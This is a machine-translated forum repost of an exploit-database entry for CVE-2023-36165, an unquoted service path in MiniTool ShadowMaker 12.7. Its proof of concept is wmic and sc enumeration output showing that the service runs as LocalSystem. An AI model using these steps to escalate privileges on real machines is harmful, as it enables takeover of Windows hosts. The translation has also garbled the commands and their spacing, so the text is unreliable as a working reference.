Minitool Partition Wizard Shadowmaker v.12.7-未引用的服务路径'mtschedulerservice'

[HackApt-37 Team已验证会员]

＃利用标题: Minitool分区Wizard Shadowmaker v.12.7-未引用的服务路径
＃date: 06/07/2023
＃利用作者: Idan Malihi
＃供应商homepage: https://www.minitool.com/
＃软件link: https://www.minitool.com/download-center/
＃版本: 12.7
＃测试在: Microsoft Windows 10 Pro
＃CVE : CVE-2023-36165
#poc
C: \ userwmic服务获取名称，路径名，displayName，startmode | findstr /i自动| findstr /i /v'C: \ Windows \\'| findstr /i /v'''
mtschedulerservice mtschedulerservice C: \ program文件（x86）\ Minitool Shadowmaker \ SchedulerService.exe Auto
C: \ userssc Qc mtschedulerservice
[SC] QueryServiceConfig成功
service_name: mtschedulerService
类型: 110 win32_own_process（Interactive）
start_type : 2 auto_start
error_control : 1正常
Binary_path_name : C: \ Program Files（X86）\ Minitool Shadowmaker \ SchedulerService.exe
LOAD_ORDER_GROUP :
标签: 0
display_name : mtschedulerService
依赖项:
service_start_name :本地系统
C: \ usersystemenfo
主机名称:桌面LA7J17P
OS名称: Microsoft Windows 10 Pro
OS版本: 10.0.19042 N/A构建19042
OS制造商: Microsoft Corporation

 

H

Frappe Framework（ERPNEXT）13.4.0-远程代码执行（身份验证）

H

Minitool Partition Wizard Shadowmaker v.12.7-未引用的服务路径'mtagentservice'